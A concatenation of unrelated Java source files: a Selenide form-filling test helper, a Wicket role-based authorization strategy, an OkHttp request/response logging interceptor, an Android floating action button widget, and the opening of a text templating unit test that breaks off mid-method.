SelenideElement editor = $(By.className("CodeMirror")).shouldBe(visible);
WebDriver driver = WebDriverRunner.getWebDriver();
JavascriptExecutor jse = (JavascriptExecutor) driver;
jse.executeScript("arguments[0].CodeMirror.setValue(arguments[1]);", editor, data);
WebDriverWait wait = new WebDriverWait(driver, 20);
}
/**
* Finds the input elements by label and fills the data in
*
* @param data [label - value]
*/
public void fillByLabel(Map<String, String> data) {
if (data.isEmpty()) {
throw new IllegalArgumentException("There are no data to be filled into a form.");
}
for (String label : data.keySet()) {
log.info("Filling form: " + label);
//selecting element by a visible label (case insensitive)
//can't use lower-case(...) method - not supported in Chrome and Firefox. Using translate(...) instead.
String xpath =
/**
* regular input fields:
* field label [ ]
*
* <label>label</label>
* <?>
* <input, textarea, select> <.../>
* <?/>
*/
"//label[translate(normalize-space(text()),'ABCDEFGHIJKLMNOPQRSTUVWXYZ','abcdefghijklmnopqrstuvwxyz')='"
+ label.toLowerCase() +
"']/following-sibling::*[position()=1]/descendant-or-self::*[self::input or self::textarea or self::select]"
+ "|"
/**
* usually checkboxes:
* [] checkbox label
*
* <label>
* <input, textarea, select></>
* <span>label<span/>
* </label>
*
*/
+ "//label/span[translate(normalize-space(text()),'ABCDEFGHIJKLMNOPQRSTUVWXYZ','abcdefghijklmnopqrstuvwxyz')='"
+ label.toLowerCase() + "']/preceding-sibling::*[position()=1]/self::*[self::input or self::textarea or self::select]";
SelenideElement element = $(By.xpath(xpath)).shouldBe(visible);
//fill input, textarea or select element
switch (element.getTagName().toLowerCase()) {
case "input":
String inputType = element.getAttribute("type");
if (inputType == null) {
//default value
inputType = "text";
}
switch (inputType.toLowerCase()) {
case "":
case "text":
case "password":
case "date":
case "datetime":
case "datetime-local":
case "email":
case "month":
case "number":
case "search":
case "tel":
case "time":
case "url":
case "week":
element.setValue(data.get(label));
break;
case "radio":
//can be only selected. Unselecting is done by selecting other radiobutton in a group
if (selectValues.contains(data.get(label).toLowerCase())) {
element.setSelected(true);
} else {
throw new UnsupportedOperationException(
"Unknown value <" + data.get(label) + "> for radiobutton \""
+ label + "\": <" + "data.get(label)" + ">. " +
"The following case insensitive values can be used: \n [" +
"" + String.join(", ", selectValues) + "]");
}
case "checkbox":
//checkbox can be either checked or unchecked
if (selectValues.contains(data.get(label).toLowerCase())) {
element.setSelected(true);
//uncheck
} else if (unselectValues.contains(data.get(label).toLowerCase())) {
element.setSelected(false);
//unsupported value
} else {
throw new UnsupportedOperationException(
"Unknown value <" + data.get(label) + "> for checkbox \""
+ label + "\": <" + data.get(label) + ">. " +
"The following case insensitive values can be used: \n" +
"checked checkbox: [" + String.join(", ", selectValues) + "]" + "\n" +
"unchecked checkbox: [" + String.join(", ", unselectValues) + "]");
}
break;
case "color":
case "range":
default:
throw new UnsupportedOperationException(
"Input element type " + "\"" + inputType.toLowerCase() + "\" can't be filled with the data.");
}
break;
case "textArea":
element.setValue(data.get(label));
break;
case "select":
//selecting by value visible to a user
element.selectOptionContainingText(data.get(label));
break;
default:
}
}
}
public static void waitForInputs(int timeInSeconds) {
$(By.cssSelector("form input,select")).waitUntil(exist, timeInSeconds * 1000);
}
private enum FillBy {
ID("id"),
NAME("name"),
TEST_ID("data-testid");
public final String attribute;
FillBy(String att) {
attribute = att;
}
}
}
| |
/*
*/
package eu.uqasar.auth.strategies.metadata;
/*
* #%L
* U-QASAR
* %%
* Copyright (C) 2012 - 2015 U-QASAR Consortium
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
import eu.uqasar.auth.strategies.IRoleCheckingStrategy;
import eu.uqasar.auth.strategies.AbstractAuthorizationStrategy;
import eu.uqasar.model.role.Role;
import java.util.EnumSet;
import org.apache.wicket.Application;
import org.apache.wicket.Component;
import org.apache.wicket.MetaDataKey;
import org.apache.wicket.authorization.Action;
import org.apache.wicket.request.component.IRequestableComponent;
/**
*
*
*/
public class MetaDataAuthorizationStrategy extends AbstractAuthorizationStrategy {
public static final MetaDataKey<ActionPermissions> ACTION_PERMISSIONS = new MetaDataKey<ActionPermissions>() {
private static final long serialVersionUID = -6034806047968773277L;
};
/**
* Application meta data key for actions/roles information. Typically, you
* do not need to use this meta data key directly, but instead use one of
* the bind methods of this class.
*/
public static final MetaDataKey<InstantiationPermissions> INSTANTIATION_PERMISSIONS = new MetaDataKey<InstantiationPermissions>() {
private static final long serialVersionUID = 5526377385090628897L;
};
/**
* Construct.
*
* @param checkingStrategy the authorizer object
*/
public MetaDataAuthorizationStrategy(final IRoleCheckingStrategy checkingStrategy) {
super(checkingStrategy);
}
/**
* Authorizes the given roles to create component instances of type
* componentClass. This authorization is added to any previously authorized
* roles.
*
* @param <T>
*
* @param componentClass The component type that is subject for the
* authorization
* @param roles The roles that are authorized to create component instances
* of type componentClass
*/
public static final <T extends Component> void authorize(final Class<T> componentClass, final Role... roles) {
final Application application = Application.get();
InstantiationPermissions permissions = application.getMetaData(INSTANTIATION_PERMISSIONS);
if (permissions == null) {
permissions = new InstantiationPermissions();
application.setMetaData(INSTANTIATION_PERMISSIONS, permissions);
}
permissions.authorize(componentClass, roles);
}
public static final <T extends Component> void authorizeIf(final IAuthorizationCondition condition, final Class<T> componentClass,
final Role... roles) {
if (condition.isAuthorized()) {
authorize(componentClass, roles);
}
}
/**
* Authorizes the given roles to create component instances of type
* componentClass. This authorization is added to any previously authorized
* roles.
*
* @param <T>
*
* @param componentClass The component type that is subject for the
* authorization
* @param roles The roles that are authorized to create component instances
* of type componentClass
*/
public static final <T extends Component> void authorize(final Class<T> componentClass, final EnumSet<Role> roles) {
authorize(componentClass, roles.toArray(new Role[roles.size()]));
}
public static final <T extends Component> void authorizeIf(final IAuthorizationCondition condition, final Class<T> componentClass,
final EnumSet<Role> roles) {
if (condition.isAuthorized()) {
authorize(componentClass, roles);
}
}
/**
* Authorizes the given roles to perform the given action on the given
* component.
*
* @param component The component that is subject to the authorization
* @param action The action to authorize
* @param roles The roles to authorize
*/
public static final void authorize(final Component component, final Action action, final Role... roles) {
ActionPermissions permissions = component.getMetaData(ACTION_PERMISSIONS);
if (permissions == null) {
permissions = new ActionPermissions();
component.setMetaData(ACTION_PERMISSIONS, permissions);
}
permissions.authorize(action, roles);
}
public static final void authorizeIf(final IAuthorizationCondition condition, final Component component, final Action action,
final Role... roles) {
if (condition.isAuthorized()) {
authorize(component, action, roles);
}
}
/**
* Authorizes the given roles to perform the given action on the given
* component.
*
* @param component The component that is subject to the authorization
* @param action The action to authorize
* @param roles The roles to authorize
*/
public static final void authorize(final Component component, final Action action, final EnumSet<Role> roles) {
authorize(component, action, roles.toArray(new Role[roles.size()]));
}
public static final void authorizeIf(final IAuthorizationCondition condition, final Component component, final Action action,
final EnumSet<Role> levels) {
if (condition.isAuthorized()) {
authorize(component, action, levels);
}
}
/**
* Grants permission to all roles to create instances of the given component
* class.
*
* @param <T>
*
* @param componentClass The component class
*/
public static final <T extends Component> void authorizeAll(final Class<T> componentClass) {
Application application = Application.get();
InstantiationPermissions authorizedLevels = application.getMetaData(INSTANTIATION_PERMISSIONS);
if (authorizedLevels != null) {
authorizedLevels.authorizeAll(componentClass);
}
}
public static final <T extends Component> void authorizeAllIf(final IAuthorizationCondition condition, final Class<T> componentClass) {
if (condition.isAuthorized()) {
authorizeAll(componentClass);
}
}
/**
* Grants permission to all roles to perform the given action on the given
* component.
*
* @param component The component that is subject to the authorization
* @param action The action to authorize
*/
public static final void authorizeAll(final Component component, final Action action) {
ActionPermissions permissions = component.getMetaData(ACTION_PERMISSIONS);
if (permissions != null) {
permissions.authorizeAll(action);
}
}
public static final void authorizeAllIf(final IAuthorizationCondition condition, final Component component, final Action action) {
if (condition.isAuthorized()) {
authorizeAll(component, action);
}
}
/**
* Removes permission for the given roles to create instances of the given
* component class. There is no danger in removing authorization by calling
* this method. If the last authorization grant is removed for a given
* componentClass, the internal level Role.NoRole will automatically be
* added, effectively denying access to all roles (if this was not done, all
* levels would suddenly have access since no authorization is equivalent to
* full access).
*
* @param <T>
*
* @param componentClass The component type
* @param roles The set of roles that are no longer to be authorized to
* create instances of type componentClass
*/
public static final <T extends Component> void unauthorize(final Class<T> componentClass, final Role... roles) {
final InstantiationPermissions permissions = Application.get().getMetaData(INSTANTIATION_PERMISSIONS);
if (permissions != null) {
permissions.unauthorize(componentClass, roles);
}
}
public static final <T extends Component> void unauthorizeIf(final IAuthorizationCondition condition, final Class<T> componentClass,
final Role... roles) {
if (condition.isAuthorized()) {
unauthorize(componentClass, roles);
}
}
/**
* Removes permission for the given roles to create instances of the given
* component class. There is no danger in removing authorization by calling
* this method. If the last authorization grant is removed for a given
* componentClass, the internal role Role.NoRole will be automatically
* added, effectively denying access to all roles (if this was not done, all
* roles would suddenly have access since no authorization is equivalent to
* full access).
*
* @param <T>
*
* @param componentClass The component type
* @param roles The set of roles that are no longer to be authorized to
* create instances of type componentClass
*/
public static final <T extends Component> void unauthorize(final Class<T> componentClass, final EnumSet<Role> roles) {
unauthorize(componentClass, roles.toArray(new Role[roles.size()]));
}
public static final <T extends Component> void unauthorizeIf(final IAuthorizationCondition condition, final Class<T> componentClass,
final EnumSet<Role> roles) {
if (condition.isAuthorized()) {
unauthorize(componentClass, roles);
}
}
/**
* Removes permission for the given roles to perform the given action on the
* given component. There is no danger in removing authorization by calling
* this method. If the last authorization grant is removed for a given
* action, the internal role Role.NoRole will automatically be added,
* effectively denying access to all roles (if this was not done, all roles
* would suddenly have access since no authorization is equivalent to full
* access).
*
* @param component The component
* @param action The action
* @param roles The set of roles that are no longer allowed to perform the
* given action
*/
public static final void unauthorize(final Component component, final Action action, final Role... roles) {
final ActionPermissions permissions = component.getMetaData(ACTION_PERMISSIONS);
if (permissions != null) {
permissions.unauthorize(action, roles);
}
}
public static final void unauthorizeIf(final IAuthorizationCondition condition, final Component component, final Action action,
final Role... roles) {
if (condition.isAuthorized()) {
unauthorize(component, action, roles);
}
}
/**
* Removes permission for the given roles to perform the given action on
* the given component. There is no danger in removing authorization by
* calling this method. If the last authorization grant is removed for a
* given action, the internal role Role.NoRole will automatically be added,
* effectively denying access to all roles (if this was not done, all
* roles would suddenly have access since no authorization is equivalent to
* full access).
*
* @param component The component
* @param action The action
* @param rolesroles The set of roles that are no longer allowed to perform the
* given action
*/
public static final void unauthorize(final Component component, final Action action, final EnumSet<Role> roleslevels) {
unauthorize(component, action, roleslevels.toArray(new Role[roleslevels.size()]));
}
public static final void unauthorizeIf(final IAuthorizationCondition condition, final Component component, final Action action,
final EnumSet<Role> roles) {
if (condition.isAuthorized()) {
unauthorize(component, action, roles);
}
}
/**
* Grants authorization to instantiate the given class to just the role
* Role.NoRole, effectively denying all other roles.
*
* @param <T>
*
* @param componentClass The component class
*/
public static final <T extends Component> void unauthorizeAll(Class<T> componentClass) {
authorizeAll(componentClass);
authorize(componentClass, Role.NoRole);
}
public static final <T extends Component> void unauthorizeAllIf(final IAuthorizationCondition condition, Class<T> componentClass) {
if (condition.isAuthorized()) {
unauthorizeAll(componentClass);
}
}
/**
* Grants authorization to perform the given action to just the role
* Role.NoRole, effectively denying all other roles.
*
* @param component the component that is subject to the authorization
* @param action the action to authorize
*/
public static final void unauthorizeAll(final Component component, final Action action) {
authorizeAll(component, action);
authorize(component, action, Role.NoRole);
}
public static final void unauthorizeAllIf(final IAuthorizationCondition condition, final Component component, final Action action) {
if (condition.isAuthorized()) {
unauthorizeAll(component, action);
}
}
/**
* Uses component level meta data to match levels for component action
* execution.
*
* @see
* org.apache.wicket.authorization.IAuthorizationStrategy#isActionAuthorized(org.apache.wicket.Component,
* org.apache.wicket.authorization.Action)
*/
@Override
public boolean isActionAuthorized(final Component component, final Action action) {
if (component == null) {
throw new IllegalArgumentException("argument component has to be not null");
}
if (action == null) {
throw new IllegalArgumentException("argument action has to be not null");
}
final EnumSet<Role> roles = levelsAuthorizedToPerformAction(component, action);
if (roles != null) {
return hasAny(roles);
}
return true;
}
/**
* Uses application level meta data to match levels for component
* instantiation.
*
* @see
* org.apache.wicket.authorization.IAuthorizationStrategy#isInstantiationAuthorized(java.lang.Class)
*/
@Override
public <T extends IRequestableComponent> boolean isInstantiationAuthorized(final Class<T> componentClass) {
if (componentClass == null) {
throw new IllegalArgumentException("argument componentClass cannot be null");
}
// as long as the interface does not use generics, we should check this
if (!Component.class.isAssignableFrom(componentClass)) {
throw new IllegalArgumentException("argument componentClass must be of type " + Component.class.getName());
}
final EnumSet<Role> roles = rolesAuthorizedToInstantiate(componentClass);
if (roles != null) {
return hasAny(roles);
}
return true;
}
/**
* Gets the roles for creation of the given component class, or null if
* none were registered.
*
* @param <T>
*
* @param componentClass the component class
* @return the roles that are authorized for creation of the
* componentClass, or null if no specific authorization was configured
*/
private static <T extends IRequestableComponent> EnumSet<Role> rolesAuthorizedToInstantiate(final Class<T> componentClass) {
final InstantiationPermissions permissions = Application.get().getMetaData(INSTANTIATION_PERMISSIONS);
if (permissions != null) {
return permissions.authorizedRoles(componentClass);
}
return null;
}
/**
* Gets the roles for the given action/component combination.
*
* @param component the component
* @param action the action
* @return the roles for the action as defined with the given component
*/
private static EnumSet<Role> levelsAuthorizedToPerformAction(final Component component, final Action action) {
final ActionPermissions permissions = component.getMetaData(ACTION_PERMISSIONS);
if (permissions != null) {
EnumSet<Role> rolesFor = permissions.rolesFor(action);
return rolesFor;
}
return null;
}
}
| |
/*
* Copyright (C) 2015 Square, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.solar.ikfa.http.interceptor;
import java.io.EOFException;
import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.charset.UnsupportedCharsetException;
import java.util.concurrent.TimeUnit;
import okhttp3.Connection;
import okhttp3.Headers;
import okhttp3.Interceptor;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Protocol;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import okhttp3.ResponseBody;
import okhttp3.internal.http.HttpHeaders;
import okhttp3.internal.platform.Platform;
import okio.Buffer;
import okio.BufferedSource;
import static okhttp3.internal.platform.Platform.INFO;
/**
* An OkHttp interceptor which logs request and response information. Can be applied as an
* {@linkplain OkHttpClient#interceptors() application interceptor} or as a {@linkplain
* OkHttpClient#networkInterceptors() network interceptor}. <p> The format of the logs created by
* this class should not be considered stable and may change slightly between releases. If you need
* a stable logging format, use your own interceptor.
*/
public final class HttpLoggerInterceptor implements Interceptor {
private static final Charset UTF8 = Charset.forName("UTF-8");
public enum Level {
/**
* No logs.
*/
NONE,
/**
* Logs request and response lines.
* <p>
* <p>Example:
* <pre>{@code
* --> POST /greeting http/1.1 (3-byte body)
*
* <-- 200 OK (22ms, 6-byte body)
* }</pre>
*/
BASIC,
/**
* Logs request and response lines and their respective headers.
* <p>
* <p>Example:
* <pre>{@code
* --> POST /greeting http/1.1
* Host: example.com
* Content-Type: plain/text
* Content-Length: 3
* --> END POST
*
* <-- 200 OK (22ms)
* Content-Type: plain/text
* Content-Length: 6
* <-- END HTTP
* }</pre>
*/
HEADERS,
/**
* Logs request and response lines and their respective headers and bodies (if present).
* <p>
* <p>Example:
* <pre>{@code
* --> POST /greeting http/1.1
* Host: example.com
* Content-Type: plain/text
* Content-Length: 3
*
* Hi?
* --> END POST
*
* <-- 200 OK (22ms)
* Content-Type: plain/text
* Content-Length: 6
*
* Hello!
* <-- END HTTP
* }</pre>
*/
BODY
}
public interface Logger {
void log(String message);
/**
* A {@link Logger} defaults output appropriate for the current platform.
*/
Logger DEFAULT = new Logger() {
@Override
public void log(String message) {
Platform.get().log(INFO, message, null);
}
};
}
public HttpLoggerInterceptor() {
this(Logger.DEFAULT);
}
public HttpLoggerInterceptor(Logger logger) {
this.logger = logger;
}
private final Logger logger;
private volatile Level level = Level.NONE;
/**
* Change the level at which this interceptor logs.
*/
public HttpLoggerInterceptor setLevel(Level level) {
if (level == null) throw new NullPointerException("level == null. Use Level.NONE instead.");
this.level = level;
return this;
}
public Level getLevel() {
return level;
}
@Override
public Response intercept(Chain chain) throws IOException {
Level level = this.level;
Request request = chain.request();
if (level == Level.NONE) {
return chain.proceed(request);
}
boolean logBody = level == Level.BODY;
boolean logHeaders = logBody || level == Level.HEADERS;
RequestBody requestBody = request.body();
boolean hasRequestBody = requestBody != null;
Connection connection = chain.connection();
Protocol protocol = connection != null ? connection.protocol() : Protocol.HTTP_1_1;
String requestStartMessage = "--> " + request.method() + ' ' + request.url() + ' ' + protocol;
if (!logHeaders && hasRequestBody) {
requestStartMessage += " (" + requestBody.contentLength() + "-byte body)";
}
logger.log(requestStartMessage);
if (logHeaders) {
if (hasRequestBody) {
// Request body headers are only present when installed as a network interceptor. Force
// them to be included (when available) so there values are known.
if (requestBody.contentType() != null) {
logger.log("Content-Type: " + requestBody.contentType());
}
if (requestBody.contentLength() != -1) {
logger.log("Content-Length: " + requestBody.contentLength());
}
}
Headers headers = request.headers();
for (int i = 0, count = headers.size(); i < count; i++) {
String name = headers.name(i);
// Skip headers from the request body as they are explicitly logged above.
if (!"Content-Type".equalsIgnoreCase(name) && !"Content-Length".equalsIgnoreCase(name)) {
logger.log(name + ": " + headers.value(i));
}
}
if (!logBody || !hasRequestBody) {
logger.log("--> END " + request.method());
} else if (bodyEncoded(request.headers())) {
logger.log("--> END " + request.method() + " (encoded body omitted)");
} else {
Buffer buffer = new Buffer();
requestBody.writeTo(buffer);
Charset charset = UTF8;
MediaType contentType = requestBody.contentType();
if (contentType != null) {
charset = contentType.charset(UTF8);
}
logger.log("");
if (isPlaintext(buffer)) {
logger.log(buffer.readString(charset));
logger.log("--> END " + request.method()
+ " (" + requestBody.contentLength() + "-byte body)");
} else {
logger.log("--> END " + request.method() + " (binary "
+ requestBody.contentLength() + "-byte body omitted)");
}
}
}
long startNs = System.nanoTime();
Response response;
try {
response = chain.proceed(request);
} catch (Exception e) {
logger.log("<-- HTTP FAILED: " + e);
throw e;
}
long tookMs = TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - startNs);
ResponseBody responseBody = response.body();
long contentLength = responseBody.contentLength();
String bodySize = contentLength != -1 ? contentLength + "-byte" : "unknown-length";
logger.log("<-- " + response.code() + ' ' + response.message() + ' '
+ response.request().url() + " (" + tookMs + "ms" + (!logHeaders ? ", "
+ bodySize + " body" : "") + ')');
if (logHeaders) {
Headers headers = response.headers();
for (int i = 0, count = headers.size(); i < count; i++) {
logger.log(headers.name(i) + ": " + headers.value(i));
}
if (!logBody || !HttpHeaders.hasBody(response)) {
logger.log("<-- END HTTP");
} else if (bodyEncoded(response.headers())) {
logger.log("<-- END HTTP (encoded body omitted)");
} else {
BufferedSource source = responseBody.source();
source.request(Long.MAX_VALUE); // Buffer the entire body.
Buffer buffer = source.buffer();
Charset charset = UTF8;
MediaType contentType = responseBody.contentType();
if (contentType != null) {
try {
charset = contentType.charset(UTF8);
} catch (UnsupportedCharsetException e) {
logger.log("");
logger.log("Couldn't decode the response body; charset is likely malformed.");
logger.log("<-- END HTTP");
return response;
}
}
if (!isPlaintext(buffer)) {
logger.log("");
logger.log("<-- END HTTP (binary " + buffer.size() + "-byte body omitted)");
return response;
}
if (contentLength != 0) {
logger.log("");
logger.log(buffer.clone().readString(charset));
}
logger.log("<-- END HTTP (" + buffer.size() + "-byte body)");
}
}
return response;
}
/**
* Returns true if the body in question probably contains human readable text. Uses a small sample
* of code points to detect unicode control characters commonly used in binary file signatures.
*/
static boolean isPlaintext(Buffer buffer) {
try {
Buffer prefix = new Buffer();
long byteCount = buffer.size() < 64 ? buffer.size() : 64;
buffer.copyTo(prefix, 0, byteCount);
for (int i = 0; i < 16; i++) {
if (prefix.exhausted()) {
break;
}
int codePoint = prefix.readUtf8CodePoint();
if (Character.isISOControl(codePoint) && !Character.isWhitespace(codePoint)) {
return false;
}
}
return true;
} catch (EOFException e) {
return false; // Truncated UTF-8 sequence.
}
}
private boolean bodyEncoded(Headers headers) {
String contentEncoding = headers.get("Content-Encoding");
return contentEncoding != null && !contentEncoding.equalsIgnoreCase("identity");
}
}
| |
package tv.llel.floatingactionbutton;
import tv.llel.lollipop.widgets.R;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.LinearGradient;
import android.graphics.Paint;
import android.graphics.Paint.Style;
import android.graphics.RectF;
import android.graphics.Shader.TileMode;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.LayerDrawable;
import android.graphics.drawable.StateListDrawable;
import android.os.Build;
import android.os.Build.VERSION_CODES;
import android.support.annotation.ColorRes;
import android.support.annotation.DimenRes;
import android.support.annotation.DrawableRes;
import android.util.AttributeSet;
import android.widget.ImageButton;
public class FloatingActionButton extends ImageButton {
public static final int SIZE_NORMAL = 0;
public static final int SIZE_MINI = 1;
private static final int HALF_TRANSPARENT_WHITE = Color.argb(128, 255, 255, 255);
private static final int HALF_TRANSPARENT_BLACK = Color.argb(128, 0, 0, 0);
int mColorNormal;
int mColorPressed;
@DrawableRes
private int mIcon;
private int mSize;
private float mCircleSize;
private float mShadowRadius;
private float mShadowOffset;
private int mDrawableSize;
public FloatingActionButton(Context context) {
this(context, null);
}
public FloatingActionButton(Context context, AttributeSet attrs) {
super(context, attrs);
init(context, attrs);
}
public FloatingActionButton(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
init(context, attrs);
}
void init(Context context, AttributeSet attributeSet) {
mColorNormal = getColor(android.R.color.holo_blue_dark);
mColorPressed = getColor(android.R.color.holo_blue_light);
mIcon = 0;
mSize = SIZE_NORMAL;
if (attributeSet != null) {
initAttributes(context, attributeSet);
}
mCircleSize = getDimension(mSize == SIZE_NORMAL ? R.dimen.fab_size_normal : R.dimen.fab_size_mini);
mShadowRadius = getDimension(R.dimen.fab_shadow_radius);
mShadowOffset = getDimension(R.dimen.fab_shadow_offset);
mDrawableSize = (int) (mCircleSize + 2 * mShadowRadius);
updateBackground();
}
int getColor(@ColorRes int id) {
return getResources().getColor(id);
}
float getDimension(@DimenRes int id) {
return getResources().getDimension(id);
}
private void initAttributes(Context context, AttributeSet attributeSet) {
TypedArray attr = context.obtainStyledAttributes(attributeSet, R.styleable.FloatingActionButton, 0, 0);
if (attr != null) {
try {
mColorNormal = attr.getColor(R.styleable.FloatingActionButton_fab_colorNormal, getColor(android.R.color.holo_blue_dark));
mColorPressed = attr.getColor(R.styleable.FloatingActionButton_fab_colorPressed, getColor(android.R.color.holo_blue_light));
mSize = attr.getInt(R.styleable.FloatingActionButton_fab_size, SIZE_NORMAL);
mIcon = attr.getResourceId(R.styleable.FloatingActionButton_fab_icon, 0);
} finally {
attr.recycle();
}
}
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
setMeasuredDimension(mDrawableSize, mDrawableSize);
}
void updateBackground() {
float circleLeft = mShadowRadius;
float circleTop = mShadowRadius - mShadowOffset;
final RectF circleRect = new RectF(circleLeft, circleTop, circleLeft + mCircleSize, circleTop + mCircleSize);
LayerDrawable layerDrawable = new LayerDrawable(
new Drawable[] {
getResources().getDrawable(mSize == SIZE_NORMAL ? R.drawable.fab_bg_normal : R.drawable.fab_bg_mini),
createFillDrawable(circleRect),
createStrokesDrawable(circleRect),
getIconDrawable()
});
float iconOffset = (mCircleSize - getDimension(R.dimen.fab_icon_size)) / 2f;
int iconInsetHorizontal = (int) (mShadowRadius + iconOffset);
int iconInsetTop = (int) (circleTop + iconOffset);
int iconInsetBottom = (int) (mShadowRadius + mShadowOffset + iconOffset);
layerDrawable.setLayerInset(3, iconInsetHorizontal, iconInsetTop, iconInsetHorizontal, iconInsetBottom);
setBackgroundCompat(layerDrawable);
}
Drawable getIconDrawable() {
if (mIcon != 0) {
return getResources().getDrawable(mIcon);
} else {
return new ColorDrawable(Color.TRANSPARENT);
}
}
private StateListDrawable createFillDrawable(RectF circleRect) {
StateListDrawable drawable = new StateListDrawable();
drawable.addState(new int[] { android.R.attr.state_pressed }, createCircleDrawable(circleRect, mColorPressed));
drawable.addState(new int[] { }, createCircleDrawable(circleRect, mColorNormal));
return drawable;
}
private Drawable createCircleDrawable(RectF circleRect, int color) {
final Bitmap bitmap = Bitmap.createBitmap(mDrawableSize, mDrawableSize, Config.ARGB_8888);
final Canvas canvas = new Canvas(bitmap);
final Paint paint = new Paint();
paint.setAntiAlias(true);
paint.setColor(color);
canvas.drawOval(circleRect, paint);
return new BitmapDrawable(getResources(), bitmap);
}
private int opacityToAlpha(float opacity) {
return (int) (255f * opacity);
}
private Drawable createStrokesDrawable(RectF circleRect) {
final Bitmap bitmap = Bitmap.createBitmap(mDrawableSize, mDrawableSize, Config.ARGB_8888);
final Canvas canvas = new Canvas(bitmap);
final float strokeWidth = getDimension(R.dimen.fab_stroke_width);
final float halfStrokeWidth = strokeWidth / 2f;
RectF outerStrokeRect = new RectF(
circleRect.left - halfStrokeWidth,
circleRect.top - halfStrokeWidth,
circleRect.right + halfStrokeWidth,
circleRect.bottom + halfStrokeWidth
);
RectF innerStrokeRect = new RectF(
circleRect.left + halfStrokeWidth,
circleRect.top + halfStrokeWidth,
circleRect.right - halfStrokeWidth,
circleRect.bottom - halfStrokeWidth
);
final Paint paint = new Paint();
paint.setAntiAlias(true);
paint.setStrokeWidth(strokeWidth);
paint.setStyle(Style.STROKE);
// outer
paint.setColor(Color.BLACK);
paint.setAlpha(opacityToAlpha(0.02f));
canvas.drawOval(outerStrokeRect, paint);
// inner bottom
paint.setShader(new LinearGradient(innerStrokeRect.centerX(), innerStrokeRect.top, innerStrokeRect.centerX(), innerStrokeRect.bottom,
new int[] { Color.TRANSPARENT, HALF_TRANSPARENT_BLACK, Color.BLACK },
new float[] { 0f, 0.8f, 1f },
TileMode.CLAMP
));
paint.setAlpha(opacityToAlpha(0.04f));
canvas.drawOval(innerStrokeRect, paint);
// inner top
paint.setShader(new LinearGradient(innerStrokeRect.centerX(), innerStrokeRect.top, innerStrokeRect.centerX(), innerStrokeRect.bottom,
new int[] { Color.WHITE, HALF_TRANSPARENT_WHITE, Color.TRANSPARENT },
new float[] { 0f, 0.2f, 1f },
TileMode.CLAMP
));
paint.setAlpha(opacityToAlpha(0.8f));
canvas.drawOval(innerStrokeRect, paint);
return new BitmapDrawable(getResources(), bitmap);
}
@SuppressWarnings("deprecation")
@SuppressLint("NewApi")
private void setBackgroundCompat(Drawable drawable) {
if (Build.VERSION.SDK_INT >= VERSION_CODES.JELLY_BEAN) {
setBackground(drawable);
} else {
setBackgroundDrawable(drawable);
}
}
}
| |
/*
* Copyright (C) 2011 Everit Kft. (http://www.everit.biz)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.everit.templating.text;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.jexl2.JexlException;
import org.everit.expression.ExpressionCompiler;
import org.everit.expression.ParserConfiguration;
import org.everit.expression.jexl.JexlExpressionCompiler;
import org.everit.templating.CompiledTemplate;
import org.everit.templating.util.InheritantMap;
import org.junit.Assert;
import org.junit.Test;
public class TextTemplatingTest {
private static final Map<String, Object> TEST_MAP;
static {
Map<String, Object> map = new HashMap<String, Object>();
map.put("_foo_", "Foo");
map.put("_bar_", "Bar");
ArrayList<String> list = new ArrayList<String>(3);
list.add("Jane");
list.add("John");
list.add("Foo");
map.put("arrayList", list);
Foo foo = new Foo();
foo.setBar(new Bar());
map.put("foo", foo);
map.put("a", null);
map.put("b", null);
map.put("c", "cat");
map.put("BWAH", "");
map.put("pi", "3.14");
map.put("hour", "60");
map.put("zero", 0);
List<Thing> things = new ArrayList<Thing>();
things.add(new Thing("Bob"));
things.add(new Thing("Smith"));
things.add(new Thing("Cow"));
map.put("things", things);
// noinspection UnnecessaryBoxing
map.put("doubleTen", new Double(10));
map.put("variable_with_underscore", "HELLO");
map.put("testImpl",
new TestInterface() {
@Override
public String getName() {
return "FOOBAR!";
}
@Override
public boolean isFoo() {
return true;
}
});
TEST_MAP = map;
}
@Test
public void _001_testPassThru() {
String s = "foobar!";
Assert.assertEquals("foobar!", test(s));
}
@Test
public void _002_testBasicParsing() {
String s = "foo: @{_foo_}--@{_bar_}!";
Assert.assertEquals("foo: Foo--Bar!", test(s));
}
@Test
public void _003_testIfStatement() {
String s = "@if{_foo_=='Foo'}Hello@end{}";
Assert.assertEquals("Hello", test(s));
}
@Test
public void _004_testIfStatement2() {
String s = "@if{_foo_=='Bar'}Hello@else{_foo_=='Foo'}Goodbye@end{}";
Assert.assertEquals("Goodbye", test(s));
}
@Test
public void _005_testIfStatement3() {
